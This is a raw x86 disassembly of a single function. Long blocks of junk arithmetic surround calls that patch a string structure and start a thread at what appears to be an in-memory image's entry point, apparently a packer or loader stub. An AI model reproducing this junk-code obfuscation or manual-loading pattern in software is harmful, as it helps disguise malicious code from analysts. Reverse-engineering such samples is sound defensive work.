mov eax, dword [ebp - 0x50b1c]
mov dword [eax + 8], ecx
mov ecx, dword [ebp - 0x50ac4]
mov eax, dword [ebp - 0x50b24]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0x50b24]
add eax, 0x24
mov dword [ebp - 0x50b28], eax
inc esi
neg edx
dec eax
inc edi
rcr edx, 0x80
rcr edi, 0x96
add edi, 1
dec esi
rol edi, 0x21
inc eax
inc eax
not edi
mov ebx, 0x6e
add ebx, 0x72
sbb esi, 0xb3
rcl ebx, 0x27
not edi
imul edi
sub edx, 0x58
dec edi
inc edi
not esi
rcl edx, 0x56
rcr esi, 0xce
bswap esi
or eax, 0x81
ror edi, 0x6a
not esi
rcl esi, 0x9c
and ebx, 0x97
neg ebx
bswap edx
ror ebx, 0xe5
not eax
add eax, 0x96
imul edx
and ebx, 0xdf
rcr ebx, 0x3d
rcr esi, 0xaa
not esi
ror edx, 0xdc
sub esi, 0x20
sbb esi, 0xe5
or edx, 0x62
sbb edx, 0xa1
and edx, 0x45
rcl edx, 0xac
imul edi
neg edx
not eax
not edi
rcr edi, 0x1d
sbb ebx, 0x4a
inc edi
dec ebx
inc edi
imul eax
bswap esi
neg eax
dec edx
rcr edi, 0xa3
rcl ebx, 0xaa
imul eax
neg eax
rcr esi, 0x4a
ror ebx, 0x9c
inc edx
not esi
imul ebx
neg eax
add eax, 0x61
mov eax, 0x14
imul edx
dec esi
ror edi, 0x94
rol ebx, 0xf2
inc esi
neg eax
ror edi, 0xb8
not edi
imul eax
neg edi
dec eax
and edi, 0x1f
inc eax
neg eax
neg esi
sbb ebx, 0x52
imul edi
and edi, 0xd8
or edx, 0
inc eax
add eax, 7
imul esi
inc ebx
add edi, 0xdc
inc ebx
dec edi
add edi, 0xa9
bswap esi
inc esi
bswap edi
neg edi
ror ebx, 0x8c
add eax, 0xc7
ror edi, 0xba
ror edx, 0x1e
dec ebx
not ebx
not esi
rcl eax, 0x8e
rcr esi, 0xf4
rol edx, 0xa6
rcl esi, 0x60
and esi, 0x40
mov esi, 0xe5
mov edx, 0x52
bswap edx
ror eax, 0xe
rcl ebx, 0xc4
not edi
rcl esi, 0x7b
rcl eax, 0x3f
ror eax, 0x7a
bswap ebx
or edi, 0x3e
dec esi
sbb edi, 0xa9
sub ebx, 0x7d
inc edi
not edi
mov esi, 0x88
mov edi, 0x8d
add edi, 0xd2
neg edi
add ebx, 0x48
neg eax
sub edi, 0xb8
neg edi
neg ebx
inc eax
imul edx
rcl edi, 0x80
add edi, 0x99
rcl eax, 0x44
dec eax
not ebx
not eax
rcl ebx, 0
or eax, 0xf4
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x50ba0]
lea eax, [0x462b80]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x78
call fcn.00404d60
mov eax, dword [ebp - 0x50a28]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x50ba1], al
mov al, byte [ebp - 0x50ba1]
mov dword [ebp - 0x10], 0xffffffff
test al, 1
je 0x402890
mov eax, dword [ebp - 0x50b28]
mov ecx, dword [eax]
mov dword [ebp - 0x50bac], ecx
mov eax, dword [eax + 4]
mov dword [ebp - 0x50ba8], eax
mov eax, dword [ebp - 0x50b28]
lea ecx, [ebp - 0x50ba0]
mov dword [eax + 4], ecx
lea eax, [ebp - 0x50ba0]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub esp, 4
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x50b28]
mov word [eax], cx
ror esi, 0x59
not edi
mov ebx, 0xb2
dec eax
inc ebx
neg eax
dec ebx
rcr edx, 0xfe
add edx, 0x5f
mov esi, 0x86
rol esi, 0x6a
rcr edx, 0xbe
inc esi
sub edx, 0xc0
add ebx, 0xd7
dec edx
not eax
not ebx
bswap ebx
sbb esi, 0x8a
not ebx
sub edx, 0x58
rcl edi, 0x57
inc edi
rcr eax, 0x9c
dec edx
sub ebx, 4
rcl edi, 0xb7
dec eax
rcl ebx, 0xe9
and edi, 0xaa
sbb eax, 0xe4
not esi
neg eax
imul edx
ror edi, 0x1a
not eax
not eax
not ebx
dec edx
ror edx, 0x5a
rcr edi, 0x1b
bswap esi
not edx
not esi
add edi, 0x75
bswap ebx
dec edx
inc eax
rol esi, 0x47
imul edx
or edx, 0xa
bswap esi
not edi
bswap eax
or edi, 0xb2
rcl esi, 0xcb
sbb edx, 3
ror ebx, 0xa8
bswap esi
neg esi
or eax, 0xc9
and ebx, 0x7f
rcr edx, 3
dec esi
inc edi
bswap ebx
add edx, 0xbe
add esi, 0x7f
rol edi, 0xff
rcr edx, 0x25
rcl esi, 0x2b
ror edx, 0xf
inc ebx
or edx, 0x57
not ebx
rcl eax, 0x6e
dec edi
ror eax, 0x20
rol esi, 0x84
neg ebx
neg ebx
imul eax
ror edx, 0xe2
neg ebx
rol esi, 0x67
and edi, 0x9b
imul edx
imul eax
inc edi
sbb esi, 0x90
bswap ebx
not eax
inc eax
inc ebx
mov edi, 0x9d
mov esi, 0x50
sbb edi, 0xf1
rol ebx, 0x31
dec ebx
mov edi, 0xb1
not ebx
sbb esi, 0x9a
or esi, 0x8e
imul edi
neg ebx
ror edi, 0xd6
mov ebx, 0xc
and ebx, 0xfb
or eax, 0x7e
neg edi
bswap ebx
imul ebx
imul eax
imul edx
rcl eax, 0x8e
sbb edx, 0xa6
rcl edi, 0x65
ror edi, 0x21
ror esi, 0x1d
dec edx
mov edx, 0x61
imul esi
dec esi
mov eax, 0xe6
bswap edx
dec eax
neg ebx
mov ebx, 0xf9
add ebx, 0x77
not ebx
and edx, 0x42
add eax, 0x71
bswap ebx
inc eax
dec ebx
rol eax, 0xb1
ror ebx, 0xbe
imul eax
add edi, 0x68
and eax, 0xfa
neg ebx
rcr esi, 0xd1
not esi
neg eax
bswap edi
imul edx
dec ebx
ror edi, 0x1b
and edx, 0x8e
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x50ac4]
mov ecx, dword [ebp - 0x50a28]
add eax, dword [ecx + 0x28]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov dword [ebp - 0x50bb0], eax
test byte [ebp - 0x50ba1], 1
je 0x402ab1
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
mov eax, dword [ebp - 0x50b28]
mov ecx, dword [ebp - 0x50bac]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x50ba8]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x50bb0]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
neg edi
imul edi
mov esi, 0x72
not ebx
sbb esi, 0x72
rcl esi, 0x73
neg edx
inc edx
rol ebx, 0xb7
not esi
dec edx
imul edi
ror edx, 0x82
dec eax
neg eax
rcl esi, 0x6f
imul eax
mov eax, 0x87
dec edx
ror esi, 0x6a
rcl ebx, 0x17
sbb esi, 0x31
rcr esi, 0x58
rcr eax, 0xa0
dec ebx
dec esi
bswap edi
dec edx
sbb edx, 0x3c
not esi
sbb eax, 0xe4
rcl edx, 0x11
ror esi, 0xba
or edx, 0xa
rol eax, 0x7e
dec esi
dec ebx
dec ebx
neg esi
add esi, 0xba
inc edx
ror edi, 0xc6
imul edi
not eax
sub ebx, 0xf1
rcl edi, 7
not edx
mov edx, 0xb5
bswap esi
inc edi
imul eax
imul esi
sbb eax, 0xfc
sbb edx, 0x2b
neg esi
neg eax
dec edx
not edx
inc edx
and edx, 0xfe
inc edi
rol edi, 0x91
dec eax
dec edx
bswap ebx
and edi, 0xb6
bswap esi
dec edi
sub esi, 0xa1
bswap edi
sub edx, 0x33
bswap edx
neg esi
dec ebx
neg eax
sbb edi, 0x32
dec ebx
not edx
or ebx, 0x21
or esi, 0xed
bswap esi
bswap esi
sub esi, 0x80
sbb edi, 0x57
imul eax
imul esi
dec edx
imul eax
sub edi, 0xe0
sbb esi, 0x30
rcl eax, 0x71
not eax
neg esi
and esi, 0x54
rol esi, 0xb8
rcr ebx, 0x69
add eax, 0x8a
imul ebx
dec esi
add edx, 0x41
inc ebx
rcl ebx, 0xd2
and edx, 0x66
imul edx
or eax, 0x2b
inc esi
mov eax, 0x9a
sbb edi, 0xe7
sub esi, 0x46
rcr edx, 3
or eax, 0x32
rol edx, 0x2f
neg ebx
rcl edi, 0xe9
bswap eax
add esi, 0x37
neg esi
inc edi
inc edx
or ebx, 0x79
inc eax
not esi
ror eax, 0x1c
neg esi
neg edi
sub esi, 0xb3
sub edi, 0xc
dec ebx
or esi, 0xf7
rcr ebx, 0x32
sub edx, 0xfb
inc ebx
bswap edx
not edx
inc eax
neg ebx
dec ebx
imul esi
dec ebx
inc eax
rcr edi, 0x51
inc eax
not edi
dec edx
bswap eax
mov eax, 0x47
inc edx
rcr edi, 0xdd
bswap eax
sub eax, 0x15
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
mov dword fs:[0], ecx
add esp, 0x50bd4
pop esi
pop edi
pop ebx
pop ebp
ret